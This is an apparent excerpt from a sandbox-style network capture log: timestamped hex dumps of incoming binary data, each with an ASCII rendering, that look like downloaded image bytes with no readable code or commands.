1f 22 49 24 d2 63 67 b7 cc 84 64 71 fb a9 31 86 f9 5b a5 79 96 a5 73 77 6a d7 49 24 b2 c5 75 b4 ed 6d a1 77 28 3d 72 38 
20 d6 b1 a5 ed 7a d8 e5 c4 4e 7a 4b a1 ef b0 ea d6 f7 eb 28 d3 f7 5f 45 2a ed 66 8f 62 ed 5f ee f3 cb b6 4f 6a 65 82 3a 49 
e5 a5 e4 16 71 4b 85 69 27 8d ff 00 76 a4 e1 b3 93 b7 23 1e 95 e3 fe 0d d3 7c 42 b7 16 d7 36 fa 83 2d be ed ff 00 34 65 
59 47 76 00 fc b5 b7 a9 5b ea 16 f2 5c c7 77 3b 4f 
Data Ascii: Asqkv\"cTRo4H:9U[rGOQs7?iM#=&bv{oYmg-q\qop["I$cgdq1[yswjI$umw(=r8 zNzK(_E*fb_Oje:IqKi'v#|B6-
4eYGv[\w;O

2021-11-25 16:28:57 UTC 4511 IN Data Raw: d3 e4 b1 f1 42 8b 45 b9 b3 be b6 62 b7 36 d2 30 75 f4 23 35 d1 f8 fb 4f bb 8e e2 e7 54 76 9f 64 92 0f 2a 78 e4 
12 7c c7 a8 65 ed f5 af 53 1d 28 c6 94 39 17 2e b7 b9 ac 64 be b5 1b cb dd b2 b2 ee 75 9f 09 fe 28 c2 ba a4 56 9a ce d5 
86 46 1e 55 cc ea 3e 5e 31 c1 ea df 4a b3 a6 f8 cb 7f 88 ae 6d de ce 4b 98 3c f9 36 2c 0b bb e5 cf bf 71 5e 13 a8 6b 9b 64 
b6 cb 6e 48 a4 1b 63 db f2 ed f5 ae 9b e1 ef 89 24 b8 f1 14 e7 cd bc 6b ad c3 cb 58 e7 da cc 9e 98 35 bd 3c 5c a4 e2 e6 
b4 8a 3a eb 60 e9 d5 a9 2a 9d 5a 3d 7f c6 1e 2e 1e 19 d1 e2 b9 b6 b3 56 69 1b fd 64 eb f3 aa f4 20 7a 71 5a 7a 3f 8c e0 
4d 2f ed f6 52 ab 45 b4 b6 d5 61 f2 f1 d3 eb db 35 e6 3e 3e 9a f6 4f 0c cf 71 76 ac ab 14 a6 48 a3 91 76 bb 28 e0 fc de 98 
ff 00 f5 56 5f c3 7f 16 1d 5b 4b bc d2 2d 2c e4 
Data Ascii: BEb60u#5OTvd*x|eS(9.du(VFU>^1JmK<6,q^kdnHc$kX5<\:`*Z=.Vid zqZz?M/REa5>>OqvHv(V_[K-,

2021-11-25 16:28:57 UTC 4519 IN Data Raw: b5 d2 6f 5b 41 93 0b 1c f7 51 e1 65 59 db 66 d5 3e 80 fa 1d be 95 9b a5 7c 2d d7 3c 43 aa 41 a8 c7 6d 06 a0 
db 83 35 a3 32 2a cc 88 7e 60 4e 40 51 ef 9e 6b a3 d3 ed f5 19 35 49 ed ee 62 b9 8a 76 5f 33 f7 aa 5a 4f 2d fe e3 30 c0 
6e 9d ab ad b3 b8 92 cf 49 d9 67 a7 c9 78 9b 7c a9 56 45 1b a6 5c fc dc 31 1f 26 dc 71 d6 bc ba b8 99 d1 da da fe be 61 
6e 5f 89 68 70 7e 3a d2 74 6d 53 4b b6 d6 6c 27 b1 d3 75 68 94 d8 cf a5 da 2a 6e da a4 af ce 07 dc 23 03 e6 e7 77 5c d7 
95 4b 60 75 cd 6b ec 5f e9 37 2a aa 64 93 ec cb b9 9b 03 39 1e 95 ee ab 6b e1 f6 ba 69 2d ac 6d 2d a2 59 0a ce ab 19 76 
91 fa 18 fd 18 f4 ea 6a e5 b6 9f 65 1c 9f 64 b9 b1 58 91 95 d5 a4 5c 44 de 5f 42 a5 53 f8 71 ef d6 95 3c 72 c3 c6 ca 2c 39 
63 3d 1e 8d 79 6a 73 3e 07 d2 ee 21 f0 cc 16 d7 b0 2c 
Data Ascii: o[AQeYf>|-<CAm52*~`N@Qk5Ibv_3ZO-0nIgx|VE\1&qan_hp~:tmSKl'uh*n#w\K`uk_7*d9ki-m-YvjedX\D_B
Sq<r,9c=yjs>!,

Timestamp
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2021-11-25 16:28:57 UTC 4535 IN Data Raw: 76 db d5 fe 6e 7f cf 14 f7 98 34 7f 75 be 6c 33 7e 15 5e f1 bc cf f7 39 da ac df 75 7d aa 63 14 8a 5b 10 b4 db a4 
52 65 f9 17 fb bf c3 f5 a6 bb 95 85 c1 5f 93 77 fc 05 98 fb e2 89 a6 2a bb f7 fc cd f3 2f 4d bb 7f 0a ab 34 cd 22 fd df 91 be 
55 e9 b5 94 7e b5 aa 89 4e 31 96 a9 0f b8 4d dc 0f f5 2d f3 2f 99 f2 fc b8 f5 19 e6 ab 49 24 4f b7 cc 8a 35 f3 3e ee df ca a4
49 37 47 9d db 5b ef 6d 5f bb ba 99 23 c6 ec c6 29 7e 66 dc cc bc 32 b7 7a 9b 59 84 39 ba dc af 32 6c 56 d8 cc ad b8 2e 
ef e7 8c 52 ab 1b 88 f3 23 7e eb 77 fa c9 3f bb ef 4f 69 15 e4 c7 dd 66 da df 2a fa 50 fb d5 a5 02 26 55 fb db 9b e6 eb cd 2
9 36 e2 bb 9a 5f b9 04 d0 8f dd 08 db fd 63 6e 55 56 f9 39 f6 a8 9e 62 bf 3a 4a cc 9c 6d e9 f2 b7 5f ca 9e 88 9f 31 db b7 6b
05 da df 2f 5e 87 9f e7 43 6f 
Data Ascii: vn4ul3~^9u}c[Re_w*/M4"U~N1M-/I$O5>I7G[m_#)~f2zY92lV.R#~w?Oif*P&U)6_cnUV9b:Jm_1k/^Co

2021-11-25 16:28:57 UTC 4551 IN Data Raw: 7b ae 59 ed 5f cb 19 6c 85 89 80 dd d3 fb d5 16 ab e1 fb 4b cb 7d b7 56 8d 67 2b 47 b6 4b 49 a0 47 45 f5 07 
6e 46 d3 fe c9 c0 ae 67 c5 9a 2d e4 9a 6c f6 7a 5c 56 9a 52 79 5b 97 6d cc cb e7 74 07 72 f4 60 79 ef 59 e1 a3 46 4d 46 
a3 eb e5 f9 af d0 e7 d6 3e eb 76 47 96 eb de 37 b4 8f 5c 96 f6 29 e4 bc ba 9e 41 1c 6d 72 a5 97 67 3f 28 1f dd e7 b8 14 f9 
bc 49 a8 69 31 d8 da 45 e4 58 dc 4b 20 6f 32 45 de 9b 24 1f 2f ef 06 4a e3 af b5 70 f7 0f 65 a9 6b 91 1b 9d 22 78 ac e3 93 
6d cf 97 72 ff 00 bc c7 1b 73 8f 97 9e 6b a3 ff 00 8a 7f 56 f3 2c ee 96 d3 48 68 dd 1a 09 24 8f 76 d8 c7 18 66 43 cb 63 18 
24 7d 6b f4 cf ab d2 a7 18 5e 0d af 93 f4 d9 9d f4 d3 51 d3 fa 46 7f 8a 34 7f b2 fd aa cf 50 55 6d 5e 79 c3 46 cb 73 bd a4 
76 e9 b5 d7 87 4f 7a 5d 2b e1 9d ec 77 8c fe 
Data Ascii: {Y_lK}Vg+GKIGEnFg-lz\VRy[mtr`yYFMF>vG7\)Amrg?(Ii1EXK o2E$/Jpek"xmrskV,Hh$vfCc$}k^QF4PUm^
yFsvOz]+w

2021-11-25 16:28:57 UTC 4558 IN Data Raw: 46 d8 df 22 9c 77 60 09 39 fd 2b 87 11 2e 48 be e7 6e 1e 8a ad 24 a4 ef fd 76 22 d3 59 f5 29 22 7b 9d 32 db ec 
f2 b7 ca de 62 23 c6 a3 af a6 e1 fd 6b 5d bc 25 23 69 f7 d7 b6 71 4f f6 78 d4 4f 1b 4f 9b 6f 94 1e 89 bc 6d 75 ff 00 6b 23 
9a c7 d6 a1 8f c3 36 77 32 6a 72 ad cb c8 a2 24 9e d2 db cd 59 14 e3 73 64 63 0a 07 5c d6 15 af c4 8b 94 b8 d2 22 b0 6b 
9f b6 da dd ee b1 6b 49 02 34 9b b3 98 c7 18 71 dc 82 78 af 87 ad 5e b2 4d e1 a7 74 fb 9f 55 1c 24 6d 14 e2 bf e0 12 e9 
7e 25 96 4d 42 f1 f5 5b 1d 42 fb cd 88 af d9 27 bb dc b2 72 76 92 70 dc 83 dc 56 87 88 ad a4 5f 0c ea 1a ae 9f 66 cd 2c f0 
47 69 1d ce d4 58 ad 64 94 81 96 6f ba a0 63 1c 77 e6 9b 67 a7 f8 b7 54 bc 96 4b db 18 f4 56 9d 5f cc bb bb 60 f2 32 91 
f3 6d 45 3b b9 1c 86 2a 56 ba 7f 11 69 b1 db e8 
Data Ascii: F"w`9+.Hn$v"Y)"{2b#k]%#iqOxOOomuk#6w2jr$Ysdc\"kkI4qx^MtU$m~%MB[B'rvpV_f,GiXdocwgTKV_`2mE;*Vi

2021-11-25 16:28:57 UTC 4574 IN Data Raw: f6 f3 98 0c 82 87 82 ad c7 2a 69 de 54 a4 f9 b6 f2 38 eb 53 8e 26 17 8b 3c b5 3c 24 64 b8 54 97 73 3b 63 ef 7b 
9c 57 67 a0 f8 65 34 bb ec 08 95 7a 2e e6 51 fa 56 e4 3a 2c 70 dd 66 35 92 25 5c ed 56 c3 36 df c3 bd 6c c7 6a 12 3d a7 
ee ee f9 97 71 fe b5 f4 b8 78 c2 b4 54 b7 b9 f9 8e 2e 55 69 d4 74 ea df 43 52 d9 05 ad ba a2 6e 5f 97 e6 ff 00 1a 9d 18 49 
f7 3f bd b7 77 3f 8d 54 46 0b fe b3 ef 2f ca ca bf 77 6e 3b 55 8f 32 3d bc fd d9 3e 5f 95 7e 66 ff 00 0a f7 e1 4d 53 56 48 e0 
d7 b9 62 48 d1 7e e4 aa bb 98 2f eb 52 46 db 59 7e f6 cd a3 fe 03 c7 e1 55 66 77 f2 fc af 97 73 2f de 5f ef 54 d1 ec 59 1b 
0c bb 99 7f d6 b2 9f 4e 95 a3 8b b2 33 d1 2b b6 17 32 16 85 53 6f dd 6f 97 f8 7e 63 4d c1 ff 00 58 7a 2f dd fe 2f 9b ff 00 d7 
52 05 75 8d 42 2f cf 22 ee 66 fb db 
Data Ascii: *iT8S&<<$dTs;c{Wge4z.QV:,pf5%\V6lj=qxT.UitCRn_I?w?TF/wn;U2=>_~fMSVHbH~/RFY~Ufws/_TYN3+2S
oo~cMXz//RuB/"f

2021-11-25 16:28:57 UTC 4590 IN Data Raw: 7c bb 9b ab 29 fb d5 dc 25 8f ef 95 e5 89 62 b8 68 f7 33 6d fe 15 e4 0c fb 7a 1a 9a f2 fc e9 3a 3d de a3 25 b2 
cf 61 67 6d f6 b9 3c bf bc d1 a2 e4 80 3f 1e 2b 82 95 69 53 ab 1a 94 3e 25 df 5b ff 00 c3 93 79 55 95 d9 85 f0 e7 58 d7 35 
5f 0f b4 7a be 99 25 8d c4 12 2c 0d 73 22 85 7b a5 4f f9 6a eb 8c 03 fc 3e f5 c7 fc 78 fb 54 7e 0d 9e 78 96 79 6c de 74 f3 
e4 8e 3f 35 a1 61 92 33 fc 40 75 1b 87 4a f4 bd 37 5b b2 f1 07 86 6c ef fe c7 3d 8a de 28 9f cb 91 83 34 79 fe f1 e9 d3 9e 
6b 1e ff 00 c4 09 e1 db 59 67 d6 63 fb 4c 52 b2 47 1f 97 19 ef c2 f0 0e 31 4b db 4a 38 bf 69 c8 b9 93 d9 7e 9a b3 8a a4 e2 
9a 8c 9f a9 f3 a7 c2 ef 16 9b 45 b1 b3 bc bc b6 58 2f a7 7b 65 6d 4a d8 ba c6 84 71 21 ef c7 6c 57 b9 ea 5a 4d b6 ad e1 
bb 3d 6e ce 08 65 d4 2d 57 cf b1 6b e6 db 
Data Ascii: |)%bh3mz:=%agm<?+iS>%[yUX5_z%,s"{Oj>xT~xylt?5a3@uJ7[l=(4ykYgcLRG1KJ8i~EX/{emJq!lWZM=ne-Wk

2021-11-25 16:28:57 UTC 4598 IN Data Raw: dd 46 3f da fe 2a b7 a1 ea b6 fe 27 59 62 89 67 89 1b 3e 5e ec 6e ff 00 78 54 d6 8d a1 7e 5d 12 ee 43 56 8f ba 
f5 28 f8 99 16 df 50 b6 b3 8e e5 56 09 57 73 5d ab 1d 91 f6 ce 3a 81 e9 9a bb 27 88 a5 d0 fc 8d 22 f3 50 91 a0 5d ff 00 66 
9d 7e 65 66 93 1d 4f 5d 87 ba 9c d5 cf b3 4d a5 ab 59 ea 17 2b 2a b7 ef 16 4d a2 59 ee 17 b4 78 1c 0f 7a 7d 9f 84 ec 75 
c5 88 6e f3 65 95 91 95 a7 6d 9e 5a 9e bf 2e 71 5e 75 39 41 c5 46 ae a9 75 fd 4c e9 d0 52 56 93 b9 6b 47 b8 7b 35 8a 4d 
41 64 bc 95 94 f9 92 40 c5 91 98 e0 06 da dc 30 c7 7e 2a e5 e6 97 6d fd 97 16 a3 2d cb 2b 41 2b c6 b6 de 59 6f 2d 4f 3b 
97 3f 2f 3e 82 ae 36 9b 2d 9c cd 15 dc eb 73 04 6a 23 81 55 8b 6d 40 3b 8e 8b 9a 91 63 8b 56 b7 c4 ad fe aa 47 65 db f7 
55 7d 31 df 02 b5 94 54 17 34 5e 9e 5d 8f 4a 30 51 
Data Ascii: F?*'Ybg>^nxT~]CV(PVWs]:'"P]f~efO]MY+*MYxz}unemZ.q^u9AFuLRVkG{5MAd@0~*m-+A+Yo-O;?/>6-sj#U
m@;cVGeU}1T4^]J0Q

2021-11-25 16:28:57 UTC 4614 IN Data Raw: af e4 c6 9b 93 77 9a 8a a3 e5 fb db 7a e6 af cc c1 e3 5d ec df bc cf f1 6d dd 8a ad e5 95 65 09 bb fd ee 36 fe 
34 bc b6 17 74 cc c9 a1 32 32 b9 dc df c3 ff 00 eb a8 da 30 8d 8f bd 1d 5f 92 32 bc 8d cc 5b e6 f9 73 f7 aa be d9 52 4f 30 
2a ef db bb f3 f5 15 1b bd 44 bd e5 62 3b 78 fc c8 f8 6d de 5f fe 3a b5 34 31 c9 1a ca 03 7c b2 7f 7a 9b e6 3f ca 83 73 2c 
79 da bf dd cd 4c 99 76 f9 17 e5 8d 47 f1 7b 63 f2 ad 14 5a 2b 96 5d 09 ad e3 2a cc 0f cd f2 8f f6 aa cb 6f dd fb b5 6d d1 fc 
df ec aa d3 ad d0 79 7c ae d7 db b9 99 7e b4 fb 76 dc aa 36 b4 4d b4 fc bf c4 bf 85 45 f5 08 c9 3d 48 be cf b1 bf 77 bb 6f 
f7 77 7c d5 61 14 f5 75 f9 a9 26 72 9c bc bb 7f 87 e5 5f bb 9f 6a 36 ee e1 3c c6 f9 7e 6a a5 76 ae 11 bc 9f 28 89 23 a3 33 
94 db fe d6 ef 97 8a 97 7f 98 bc 7c 
Data Ascii: wz]me64t220_2[sRO0*Db;xm_:41|z?s,yLvG{cZ+]*omy|~v6ME=Hwow|au&r_j6<~jv(#3|

2021-11-25 16:28:57 UTC 4630 IN Data Raw: fd 61 82 de ad dc 1e 6a fd 9d 06 73 1b fd d2 09 19 e3 f3 af 17 1b 08 38 2e 5d 5f f5 7d 4d a9 46 37 6e 6d ff 00 
c1 38 ab cf 88 57 37 31 c0 4c f7 2c 8b 88 9a c6 4b 64 6f 90 0e cc a0 12 07 b8 27 1d ea a3 6a 97 7a c6 a8 ba 74 90 5c d9 
dd 72 d1 5a 46 a7 64 db b1 d8 f1 8c 77 ac 7d 53 58 bd d1 f5 a9 6e 64 59 e3 6d bb 3c f5 c3 7c 8c 38 da 7e e9 52 29 9a 97 
8d 2e 6e 1b 71 55 8a 09 55 15 57 68 fd db 0c 02 54 75 5f 5a b8 61 56 8e 10 56 b7 7e a6 2f 73 af f0 f7 8a 75 85 d4 9b 47 
16 3f da b3 c1 96 5d 36 75 d8 cb ea 43 65 4f 4e b9 ed cd 6d 78 8a df 4f d5 b4 96 70 ad 63 2c 4a 77 69 b3 ce 1b cb ee 42 
10 4e fe 7b e6 b8 5b cd 5a 45 ba cd c3 47 fb 88 f7 2c fb 4b bc 99 ec 43 7f df 35 d6 78 47 c5 ba 5f fc 7c dc c5 3d e3 34 67 
cb 9d 55 16 5b 7e de 58 0f 90 57 f8 ab 92 b5 19 26 
Data Ascii: ajs8.]_}MF7nm8W71L,Kdo'jzt\rZFdw}SXndYm<|8~R).nqUUWhTu_ZaVV~/suG?]6uCeONmxOpc,JwiBN{[ZEG
,KC5xG_|=4gU[~XW&

2021-11-25 16:28:57 UTC 4638 IN Data Raw: cc c6 df 97 76 e5 fe f7 e5 ed 4a ce 61 56 8e 3d db 37 7f 77 ef 52 77 e8 2b b6 f5 7a 92 79 9b 64 f9 25 fb cb ff 00 
7d 7d 7e 95 12 c9 b6 3c bb 2a aa b7 dd fe 1f 7e b4 79 c8 ad 83 bb 6f 3b 99 57 f4 f6 a4 d8 2e 15 be 55 d9 42 8a 5a b3 4b 
af 85 85 c5 c0 66 6d 92 b6 d6 6f 97 6a fc d5 24 93 3a b2 bf f7 b1 bb 77 bf 7a 23 6d ab 90 9f 37 fb df 35 2a b1 66 c4 9f 2a 
aa fc cc d4 36 b7 b0 a4 f5 d1 5e c3 1a 3f 31 b3 f3 23 32 ed 5d ad b9 79 ed 4d 93 7c ca b8 56 fb db 9f f9 0f 71 4a d3 47 23 
28 2c bf bb f9 bf bc dc d0 d2 1b 7d a0 33 6f 6f f5 8d bb 6a b7 d3 db eb 4f 99 a2 b9 65 f1 35 a8 9e 63 c6 dc fc cb fc 5b be 5f 
97 d2 ac 48 c9 24 79 dc c9 f2 fc ab b7 f8 7e b5 02 dd 04 6c 0d db f6 96 f9 97 e5 f4 e2 9e ae 59 95 02 ed ff 00 65 70 cb f9 d
4 bb ca c2 92 7d 37 43 96 6f 26 4c 
Data Ascii: vJaV=7wRw+zyd%}}~<*~yo;W.UBZKfmoj$:wz#m75*f*6^?1#2]yM|VqJG#(,}3oojOe5c[_H$y~lYep}7Co&L
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2021-11-25 16:28:57 UTC 4654 IN Data Raw: 32 59 b3 f4 1b 4f 5a d4 f0 5f 84 b5 09 37 6b 9a fd cc 1a 7a 59 ac 31 c7 69 79 72 1e 5b 84 c6 d7 62 77 00 a1 78 
f9 4f 66 af 45 86 63 7d a9 69 f6 12 4b 25 b5 c4 aa f2 da 47 69 64 97 9f 68 dd ca 18 d4 b6 d4 8c fb 06 fa 55 d4 c4 55 a3 35 
4e 95 4d 3c 92 b7 7f 3b 9b c6 9a 95 ae 79 9d 8f ec f7 a7 bb 2c 1a b2 6a 51 44 8d bd 96 d1 93 ee 91 f7 b7 30 e1 73 fd e6 
15 a9 63 f0 0f 4f d2 1a c6 e6 de da 49 59 6e 4f 9b 06 a0 ae c8 ca 7e 5f 29 76 65 cb 83 ce e2 36 fb d7 7e ba 84 11 c9 be 4d
3f ec 69 22 ba b5 9c ea 62 9e 4c 1f e2 c9 db 07 7c 8c 63 d3 15 4e 3f 10 fd 9b 58 b9 4b 2b 3d 49 6e bc a1 e6 49 f7 67 85 
54 31 c1 df 1e 0f 5e 1b 18 2b 5c eb 13 8a a8 9f be ff 00 43 6e 4a 31 57 71 1f 37 8a 2f 74 5d 0e 7b 2d 47 6b 79 12 3e d6 bb 
c3 2c 91 90 55 be 6f bd bb 3d 3b d7 89 df 5c 
Data Ascii: 2YOZ_7kzY1iyr[bwxOfEc}iK%GidhUU5NM<;y,jQD0scOIYnO~_)ve6~M?i"bL|cN?XK+=InIgT1^+\CnJ1Wq7/t]{-
Gky>,Uo=;\

2021-11-25 16:28:57 UTC 4670 IN Data Raw: 9b 1e 99 e2 7b 7f 3e f5 6e 5a fd a4 2b 24 f0 32 7e f1 cf 4c 0c 71 4a b4 e2 ee e4 b6 ec 71 ca 37 d5 95 f4 5d 2e 
dd 6d 65 94 6a fe 54 cc c5 17 4d b2 f3 1a e6 e1 4e 0e dd 80 1f 97 df 3d ab 41 75 b8 b4 bb 85 b7 9f 4a 92 0d 3a 3c 2b 41 
24 03 ed 2a e0 74 39 e4 73 ed 5a 16 b7 17 3e 01 fb 64 56 52 fe f6 78 bc cf 3e 45 85 a5 56 c7 40 c4 65 7f 0a c6 93 c5 4a 
92 5e 5c 5d de 49 7d a8 dc ae df ed 08 32 ab 1b 74 c7 cc a3 3e e6 b9 15 ea be 64 af 17 fd 74 34 8d 9d 99 a2 6f b5 0b 2f 
36 fd 15 92 09 fe ea ae 55 d5 73 80 33 f9 56 ad af 8a 1e ea 1b 68 ee 6d a7 da d3 f9 7e 65 de 7e e8 fb ca af db d8 9e 2b 
05 3c 43 aa ea 96 3f 64 9e f9 56 06 fe 19 3e 66 91 81 c8 c7 04 af e1 5d c7 c3 4f 0c c7 a9 34 17 f7 32 c1 79 04 12 ed 92 d2 
fb 66 cb 8d dc 63 ef 6e 6c 37 26 8a 8a 30 a6 dd 65 
Data Ascii: {>nZ+$2~LqJq7].mejTMN=AuJ:<+A$*t9sZ>dVRx>EV@eJ^\]I}2t>dt4o/6Us3Vhm~e~+<C?dV>f]O42yfcnl7&0e

2021-11-25 16:28:57 UTC 4678 IN Data Raw: 23 47 76 91 9d 95 97 6b 6e f9 6a 46 87 cb 93 85 f9 5b ef 7f 0d 4c c8 59 9d 02 fd e6 0c df c3 b7 8e 94 92 2a 42 
cd f3 2b 3c 6a 15 b7 7c db 98 fa fb d4 3a b7 7a 1d 10 a5 75 b8 90 b1 85 77 8d db 5b fb df c5 da a2 f3 0c 8a c4 ae e5 dd fc 
34 b6 b6 e6 e2 45 43 b9 97 8f e2 db f8 d6 a5 9d 98 48 d5 e3 89 55 a3 6d be 63 7d df 73 5c 52 ac a9 f5 d4 f6 b0 f8 39 55 
96 88 a9 0d 84 be 4e 76 b6 d6 ab e9 a6 85 58 8c 97 9f 34 9f 2e df 2f f1 e2 b6 ad 74 b9 6f 26 82 03 fb a8 a5 61 b9 a0 5d cc 
d9 1c 72 df 76 bb 7b 3f 0b 59 d8 36 07 cc db b7 34 9b be 5d e3 3d 7b 74 af 9a c5 67 51 a4 f9 5b bb 3d ca 39 5c 14 ad 24 
99 c3 47 e0 5d 42 69 33 05 8b 49 e6 61 96 4d c1 22 da 4f 51 9c 0e fc d6 95 bf 80 ef 23 85 a4 9e 2b 49 7e 5f 96 38 e7 5d ff 
00 52 3d 2b d0 ed e3 3e 64 48 d2 b3 7c be 5a 
Data Ascii: #GvknjF[LY*B+<j|:zuw[4ECHUmc}s\R9UNvX4./to&a]rv{?Y64]={tgQ[=9\$G]Bi3IaM"OQ#+I~_8]R=+>dH|Z

2021-11-25 16:28:57 UTC 4694 IN Data Raw: a9 69 27 6f ba c8 4f ca 3d 4e 3b d6 8c 7a 5c 57 d7 97 33 ea 3a d4 f6 d7 b2 4a ed 05 b5 b4 7f b8 93 a9 f9 0b 90 
cb 9f 51 5e 1c e9 d2 85 39 41 ab 46 56 7d 7f 4f c7 53 36 b9 53 b1 de f8 3f c1 37 36 b6 f7 37 36 f2 d8 de 59 6d db 24 f6 cc 
5d e3 62 33 e5 a8 7f 98 e7 1f 7b d7 8a b2 b2 16 ba 68 64 f2 e5 b7 93 1b be 5f 9b b7 03 b7 5f 5a f3 cf 0a ea 5e 65 d5 e5 
ed de ab 3a bd ac 1f bc 8d 70 af 32 80 7b f6 c5 69 e8 fe 26 17 f6 f6 32 c1 66 b0 45 e5 bc bb 64 de cc cc 3f bc dd f1 ed 5c 
f5 30 f5 54 9b 9b bf ca dd 0e d9 3b a5 e4 7a ce a1 04 fa 96 92 b1 c9 2a aa 41 f2 c1 36 e3 be 34 1d 78 fb ac 31 d3 35 8f e0 
0b fb b8 64 be 48 a7 93 ca 8e e4 4e be 62 85 5f 38 fc bf 3a b7 2c 0a 7c be 95 57 c2 7a c4 a8 aa 9e 6c 93 cf 3c 81 77 48 
db 20 85 48 e8 37 7a 67 9a ce f1 3e b5 71 a4 
Data Ascii: i'oO=N;z\W3:JQ^9AFV}OS6S?7676Ym$]b3{hd__Z^e:p2{i&2fEd?\0T;z*A64x15dHNb_8:,|Wzl<wH H7zg>q

2021-11-25 16:28:57 UTC 4710 IN Data Raw: 1c 55 cd 7a e2 f2 de 4b 18 b5 4d cb 7b 04 8f 12 db 33 6e 75 5c ed 48 f7 1f e1 df df b5 64 58 68 f1 58 78 d1 52 
4d 4d 74 cb d8 ae 77 35 ca c8 53 e6 23 77 df 5f f5 63 f8 72 39 cd 75 1a 55 be 8b e2 7f 11 69 40 c5 ba 09 6c 66 82 79 35 
49 b7 a2 b2 82 4c a3 61 05 49 3c 2e 7b fa d4 54 b4 64 a5 ab 56 ed a9 e8 e1 ef ca e0 b7 6f bf e1 6f f8 63 d9 fe 19 ea 5a 3f 
81 7c 79 79 2e ab a6 4f 2b a6 9e 5a f1 7c 37 76 fa 9c b3 2a a6 d9 00 2a 42 81 85 cb 03 b9 71 d2 b3 3c 59 67 71 e3 8b 79 
5f c2 3a 1c 9a 0d be a5 a9 4f 76 b7 3a ed dc 36 d7 57 8a ee 5c 04 8f 39 54 da 57 1d 3b e0 9a bd e0 df 87 3a 46 95 a7 ea 
12 db ea 7b 60 8e f5 2e e3 d5 20 93 74 f7 56 cc 84 22 8d c4 ac 29 1b 65 4b 67 27 8e 2b 0f e2 2f 85 f5 5f 06 dc 5b 68 d7 73
ae a7 61 ab ac 37 36 7b a0 df 75 b0 86 5f 2d c2 
Data Ascii: UzKM{3nu\HdXhXxRMMtw5S#w_cr9uUi@lfy5ILaI<.{TdVoocZ?|yy.O+Z|7v**Bq<Ygqy_:Ov:6W\9TW;:F{`. 
tV")eKg'+/_[hsa76{u_-

2021-11-25 16:28:57 UTC 4717 IN Data Raw: 93 c4 db 4f ef 98 0f 9c 1e ca 43 7e 9c d6 a6 a1 ac 68 7a 3d d3 4b 2c b1 c5 2e d2 db 5a 4f 95 93 a1 00 0e bf 85 
79 36 bd f1 17 47 d2 e1 d5 64 bb fb 4f da 2d 60 fd d2 c6 a1 bc e7 e9 9c 77 53 9f 9b e9 5e 73 7f e3 fb 78 e1 8a ee 7f b2 2b 
4f bd 56 d2 35 f9 ad d7 d5 43 7d df 6c 1a ca 96 0e b6 2a 77 69 c5 79 1d b3 c7 d6 51 e4 3e a3 8d 74 ed 56 d6 2b 87 f2 2e 
56 4f f5 4c cc 37 7b f0 79 e2 aa 5f f8 53 4b 75 95 3e c7 1c 5f f2 cd 64 8e 72 ad b4 75 01 7a 1a f2 af 0a c9 79 ad 43 66 6d 
3e d7 e6 c4 c9 3c eb e5 ee 5f 2c e3 b8 39 43 ef 8c 1a f5 98 a3 8e 1b 35 b8 8a e6 3b 95 91 77 6e 8e 40 fb 7d 47 1d 0e 7b 
56 95 28 c6 8b 69 3d 4f 6b 07 8a 73 56 9e e5 69 99 ed a3 f2 d3 f7 56 f1 ff 00 0a af dd e3 3d 6a b4 98 48 f9 66 d8 df bc da 
df de ad 86 b3 76 85 5c fc ae df 79 59 47 e1 
Data Ascii: OC~hz=K,.ZOy6GdO-`wS^sx+OV5C}l*wiyQ>tV+.VOL7{y_SKu>_druzyCfm><_,9C5;wn@}G{V(i=OksViV=jHf
v\yYG

2021-11-25 16:28:57 UTC 4733 IN Data Raw: 3b 9b 85 b9 5b 66 75 bc b5 65 77 73 1a 86 05 7f 7a 17 ef 75 c3 0a cc 5d 26 3f 07 dc 2b 45 05 dc ba 45 d4 bb 
7c bb 96 0f e5 a8 21 fb 61 b8 52 bd 6a b7 c3 7d 6c d9 e8 b7 92 24 f1 b5 a3 4a 57 f7 99 67 86 e4 e1 84 8b 8c 06 05 54 ae 
09 e2 9b af 6b a1 b4 bb cb 39 59 ae 9f cf 12 da 6a 1f 77 e6 e8 d9 5f 46 1f 95 7c a3 85 5f ac 4e 37 f7 76 fe bd 0c e7 2e 6b 
9a 9a 4d c6 9f e1 d9 17 55 9e fa 0f ed bb cb 93 6d e5 b3 3b 2b 26 43 09 79 ca a3 13 c6 df 63 5c 67 88 35 08 e4 f1 34 ff 00 
62 8d a2 fb 56 ff 00 32 38 e4 0e f2 16 e5 be 6c 74 cf 35 bb a0 dd 47 6d ac 41 2c 93 c1 12 db 49 0a fc ca 59 a4 c1 c9 ec 40 
c0 cf 38 ab fa c5 86 9d 74 ca 34 6b 35 b9 96 ea 7b 56 7d 43 cc 2a d1 b3 79 8a d0 f2 3e 4c 8e 39 fe e5 6f 0b 51 ab cc d3 
77 5b f4 fe 91 74 e2 9d d5 f4 ec 73 f2 49 a7 58 
Data Ascii: ;[fuewszu]&?+EE|!aRj}l$JWgTk9Yjw_F|_N7v.kMUm;+&Cyc\g54bV28lt5GmA,IY@8t4k5{V}C*y>L9oQw[tsIX

2021-11-25 16:28:57 UTC 4749 IN Data Raw: bd 66 eb be 0e 78 d5 6d 8c ad 63 22 a9 66 59 d5 25 79 24 27 2a a6 40 73 b7 1d 3d 2a 7d b4 1a 50 92 b3 ef a9 
32 c3 29 2d ef fd 79 18 37 de 30 fb 1c 93 8b 79 7c d4 69 47 ef 25 c6 f6 fa 0c 06 c7 6e f4 69 ff 00 12 2d e4 b8 6b 4b 95 68 
2e 9b f7 5e 4d b6 37 33 11 ea 41 53 8e a7 bd 73 ba c7 80 35 4d 43 cf b6 8e 28 67 97 69 65 91 9b e5 56 27 8c 67 90 78 ab 
2d a1 cb a1 c9 04 57 ba 7b 41 e6 45 f7 97 64 ab 1f 18 6f 70 df 5e 6b ae 71 c2 4a 29 5e f2 39 23 4d c2 76 7b 9d cc 7e 24 
9b 4d 93 c8 d4 55 6f 15 9b cb 93 6b 05 7f 97 f8 78 f6 e7 3e f5 a3 0f 88 0e b1 26 9f 73 24 b2 4f e5 28 68 a3 55 de b1 ba 9e 
fd 03 0c 57 98 fd 9f 4c b4 b8 8a de 28 a7 5f 22 50 ab 72 d2 6d 59 19 87 07 23 38 c0 e0 d4 da a4 d7 5a 2d d3 59 24 b2 41 
67 1a be df 2d 4f 90 cc 70 0e 5b b8 ac 3e ab 09 6d 
Data Ascii: fxmc"fY%y$'*@s=*}P2)-y70y|iG%ni-kKh.^M73ASs5MC(gieV'gx-W{AEdop^kqJ)^9#Mv{~$MUokx>&s$O(hU
WL(_"PrmY#8Z-Y$Ag-Op[>m

